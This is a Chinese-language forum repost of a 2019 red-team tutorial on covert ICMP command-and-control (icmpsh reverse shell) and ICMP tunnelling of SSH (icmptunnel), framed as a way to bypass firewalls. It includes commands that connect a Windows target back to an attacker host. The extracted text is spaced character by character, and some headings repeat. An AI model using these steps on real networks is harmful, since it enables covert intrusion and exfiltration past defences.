搜索

[14486] 2019-08-19_利用ICMP进行命令控制和隧道传输

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-08-19_利用ICMP进行命令控制和隧道传输 利 用 I C M P 进 行 命 令 控 制 和 隧 道 传 输 K r i s t o n   F r e e B u f   2 0 1 9 - 0 8 - 1 9 在 这 篇 文 章 中 ， 你 会 了 解 到 通 过 在 这 篇 文 章 中 ， 你 会 了 解 到 通 过 I C M P 命 令 控 制 和 命 令 控 制 和 I C M P 隧 道 进 行 数 据 窃 取 的 隧 道 进 行 数 据 窃 取 的 R E D   T E A M 行 动 ， 使 用 这 两 种 方 行 动 ， 使 用 这 两 种 方 法 在 网 络 中 产 生 的 畸 形 流 量 ， 有 助 于 规 避 防 火 墙 规 则 。 法 在 网 络 中 产 生 的 畸 形 流 量 ， 有 助 于 规 避 防 火 墙 规 则 。 I C M P 协 议 工 作 方 式 简 介 协 议 工 作 方 式 简 介 I n t e r n e t 控 制 报 文 协 议 （ I C M P ） 是 I n t e r n e t 协 议 族 中 一 个 。 它 被 用 于 包 括 路 由 器 在 内 的 网 络 设 备 中 ， 用 来 发 送 错 误 报 文 和 操 作 信 息 ， 表 示 所 请 求 的 服 务 不 可 用 或 是 主 机 / 路 由 不 可 达 。 p i n g 命 令 使 用 第 三 层 即 网 络 层 协 议 ， 通 过 I C M P 载 荷 发 送 消 息 ， 该 数 据 包 会 被 封 装 上 I P 头 。 由 于 M T U 的 限 制 ， I C M P 包 的 大 小 不 能 大 于 1 5 0 0 字 节 。 网 络 层 中 的 I C M P 包 P i n g 命 令 会 向 目 标 主 机 发 送 一 个 I M C P 的 e c h o 请 求 。 目 标 主 机 如 果 回 复 e c h o 响 应 则 表 示 主 机 存 活 。 利 用 利 用 I C M P 协 议 进 行 命 令 控 制 协 议 进 行 命 令 控 制 我 们 发 布 的 很 多 内 容 中 都 讨 论 了 C 2 通 道 ， 又 叫 做 命 令 控 制 ， 具 体 内 容 可 以 在 这 里 找 到 。 而 在 这 篇 文 章 中 ， 你 会 了 解 到 如 何 将 I C M P 协 议 用 作 命 令 控 制 通 道 。 网 络 战 中 散 布 着 入 侵 者 和 安 全 研 究 人 员 ， 因 此 ， 我 们 需 要 备 用 计 划 。 众 所 周 知 ， 现 在 的 公 司 变 得 更 加 智 能 ， 他 们 可 以 理 解 例 如 类 型 相 关 的 攻 击 在 实 现 了 机 器 的 T C P 反 弹 连 接 。 因 此 我 们 提 出 了 使 用 i c m p s h 作 为 命 令 控 制 工 具 的 一 种 I C M P 隐 蔽 s h e l l 的 实 现 方 法 。 环 境 要 求 环 境 要 求 攻 击 机 / C 2 通 道 ： 1 9 2 . 1 6 8 . 1 . 1 0 8 （ K a l i   L i n u x ） 宿 主 机 ： 1 9 2 . 1 6 8 . 1 . 1 0 6 （ W i n d o w s   1 0 ） i c m p s h ： ： C 2 通 道 与 安 装 方 法 通 道 与 安 装 方 法 i c m p s h 是 一 个 简 单 的 I C M P 反 弹 s h e l l ， 拥 有 用 C ， P e r l 和 P y t h o n 实 现 的 P O S I X 兼 容 主 控 端 和 一 个 w i n 3 2 的 受 控 端 。 相 比 其 他 类 似 的 开 源 工 具 来 说 ， i c m p s h 的 优 点 是 在 目 标 机 器 上 运 行 时 不 需 要 管 理 员 权 限 。 这 一 工 具 干 净 、 简 单 并 且 便 携 。 受 控 端 （ 客 户 端 ） 使 用 C 语 言 实 现 。 只 能 运 行 在 目 标 W i n d o w s 机 器 上 ， 而 主 控 端 （ 服 务 端 ） 由 于 已 经 有 N i c o   L e i d e c k e r 用 C 和 P e r l 实 现 的 版 本 ， 而 且 之 后 又 移 植 到 了 P y t h o n 上 ， 因 此 可 以 运 行 在 任 何 平 台 的 攻 击 者 机 器 中 。 I c m p s h 很 容 易 被 安 装 并 用 作 c 2 通 道 。 可 以 通 过 G i t h u b 下 载 并 在 攻 击 者 机 器 中 部 署 i c m p s h 。 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / i n q u i s b / i c m p s h . g i t
以 主 模 式 运 行 以 主 模 式 运 行 i c m p s h （ （ K a l i   L i n u x ） ） 下 载 完 成 之 后 ， 使 用 以 下 命 令 来 运 行 主 控 端 。 执 行 之 前 最 重 要 的 一 步 是 在 你 的 机 器 上 关 闭 p i n g 回 复 。 这 样 可 以 防 止 内 核 自 己 对 p i n g 包 进 行 响 应 。 以 从 模 式 运 行 以 从 模 式 运 行 i c m p s h （ （ W i n d o w s   1 0 ） ） 在 宿 主 机 器 中 以 从 模 式 再 次 安 装 i c m p s h 工 具 ， 运 行 受 控 端 的 目 标 机 器 中 的 用 户 不 需 要 具 有 管 理 员 权 限 。 然 后 运 行 以 下 命 令 ： 在 宿 主 机 上 执 行 完 上 述 命 令 后 ， 攻 击 者 就 会 收 到 运 行 着 受 控 端 的 机 器 的 反 弹 s h e l l 。 你 可 以 从 下 面 给 出 的 图 片 中 观 察 到 ， 这 台 主 控 端 机 器 通 过 受 控 端 机 器 返 回 的 命 令 提 示 符 获 取 了 其 控 制 权 。 s y s c t l   - w   n e t . i p v 4 . i c m p _ e c h o _ i g n o r e _ a l l = 1 c d   i c m p s h s y n t a x :   . / i c m p s h _ m . p y   < a t t a c k e r ’ s - I P >   < t a r g e t - I P > . / i c m p s h _ m . p y   1 9 2 . 1 6 8 . 1 . 1 0 8   1 9 2 . 1 6 8 . 1 . 1 0 6 s y n t a x :   i c m p s h . e x e   - t   < K a l i   I P > i c m p s h . e x e   - t   1 9 2 . 1 6 8 . 1 . 1 0 8
和 我 们 预 期 的 结 果 完 全 一 样 ， 而 且 由 于 数 据 是 利 用 P I N G 请 求 / 回 复 报 文 通 过 网 络 层 传 输 ， 因 此 并 不 需 要 指 定 服 务 或 者 端 口 。 这 种 流 量 是 无 法 被 基 于 代 理 的 防 火 墙 检 测 到 的 ， 因 此 这 种 方 式 可 能 绕 过 一 些 防 火 墙 规 则 。 I C M P 隧 道 搭 建 隧 道 搭 建
I C M P 隧 道 是 指 将 T C P 连 接 通 过 I C M P 包 进 行 隧 道 传 送 的 一 种 方 法 。 在 此 我 们 会 获 取 一 个 被 封 装 到 I C M P 包 中 的 s s h 会 话 。 这 也 需 要 在 第 三 层 ， 即 网 络 层 ， 建 立 一 个 封 装 在 i c m p 载 荷 中 的 t c p 连 接 ， 这 样 对 于 绕 过 防 火 墙 规 则 可 能 也 有 一 定 的 帮 助 。 环 境 要 求 环 境 要 求 服 务 端 机 器 ： e n s 3 3 : 1 9 2 . 1 6 8 . 1 . 1 0 8 t u n 0 : 1 0 . 0 . 0 . 1 客 户 端 机 器 ： e t h 0 :   1 9 2 . 1 6 8 . 1 . 1 1 1 t u n 0 : 1 0 . 0 . 0 . 2 i c m p t u n n e l 是 一 个 将 I P 流 量 封 装 到 I C M P   e c h o 请 求 和 回 复 （ p i n g ） 包 中 的 隧 道 工 具 ， 是 在 允 许 p i n g 的 网 络 中 进 行 拓 展 、 绕 过 防 火 墙 的 一 种 半 隐 蔽 方 式 。 虽 然 I C M P   e c h o 流 量 在 网 络 边 界 通 常 会 被 过 滤 ， 但 这 种 方 法 仍 然 可 能 对 从 企 业 内 网 出 连 到 互 联 网 的 技 术 有 一 定 帮 助 。 虽 然 一 些 现 有 工 具 已 经 实 现 了 这 一 技 术 ， 但 在 穿 透 状 态 防 火 墙 和 N A T 方 面 ， i c m p t u n n e l 提 供 了 一 个 更 可 靠 的 协 议 和 机 制 。 在 服 务 端 机 器 （ 目 标 ） 上 配 置 在 服 务 端 机 器 （ 目 标 ） 上 配 置 I C M P 在 宿 主 机 上 下 载 并 安 装 i c m p t u n n e l ， 按 照 下 面 图 中 的 命 令 进 行 编 译 首 先 ， 在 客 户 端 和 服 务 端 都 禁 用 I C M P   e c h o 回 复 。 这 样 可 以 防 止 内 核 自 己 对 p i n g 包 进 行 响 应 。 在 服 务 端 （ 宿 主 机 ） ， 以 服 务 端 模 式 启 动 i c m p t u n n e l ， 并 且 给 新 的 隧 道 接 口 分 配 一 个 I P 地 址 。 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / j a m e s b a r l o w / i c m p t u n n e l . g i t c d   i c m p t u n n e l m a k e e c h o   1   >   / p r o c / s y s / n e t / i p v 4 / i c m p _ e c h o _ i g n o r e _ a l l . / i c m p t u n n e l   - s C t r l z b g / s b i n / i f c o n f i g   t u n 0   1 0 . 0 . 0 . 1   n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0 i f c o n f i g
在 客 户 端 机 器 （ 攻 击 者 ） 上 配 置 在 客 户 端 机 器 （ 攻 击 者 ） 上 配 置 I C M P 类 似 地 ， 在 攻 击 者 机 器 上 重 复 同 样 的 流 程 安 装 用 于 p 2 p 连 接 的 i c m p t u n n e l 。 首 先 ， 对 其 进 行 编 译 ， 然 后 禁 用 I C M P   e c h o 回 复 防 止 内 核 自 己 对 p i n g 包 进 行 响 应 。 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / j a m e s b a r l o w / i c m p t u n n e l . g i t c d   i c m p t u n n e l m a k e e c h o   1   >   / p r o c / s y s / n e t / i p v 4 / i c m p _ e c h o _ i g n o r e _ a l l . / i c m p t u n n e l   1 9 2 . 1 6 8 . 1 . 1 0 8 c t r l   z / s b i n / i f c o n f i g   t u n 0   1 0 . 0 . 0 . 2   n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0
通 过 通 过 I C M P 连 接 连 接 S S H 到 这 里 应 该 通 过 I C M P 包 建 立 了 一 个 点 对 点 隧 道 。 服 务 端 的 隧 道 I P 是 1 0 . 0 . 0 . 1 ， 客 户 端 的 隧 道 I P 是 1 0 . 0 . 0 . 2 。 尝 试 通 过 客 户 端 上 的 t c p 协 议 ， S S H ， 来 连 接 到 服 务 端 ： 在 初 始 阶 段 ， i c m p 隧 道 就 在 服 务 端 和 客 户 端 之 间 建 立 了 连 接 ， 如 下 图 我 们 借 助 W i r e s h a r k 捕 获 的 服 务 端 和 客 户 端 之 间 的 流 量 所 示 。 s s h   r a j @ 1 0 . 0 . 0 . 1
每 个 流 量 都 是 I C M P 包 。 I C M P 的 载 荷 部 分 就 是 H T T P / I P 包 。 H T T P / I P 包 会 被 加 速 传 递 到 网 络 中 。 注 意 源 I P 是 怎 样 由 于 n a t 存 在 而 被 改 变 的 。 因 此 ， 流 量 不 会 出 现 在 通 过 2 2 号 端 口 连 接 S S H 所 使 用 的 传 输 层 中 。 * 本 文 作 者 ： 本 文 作 者 ： K r i s t o n ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐

阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理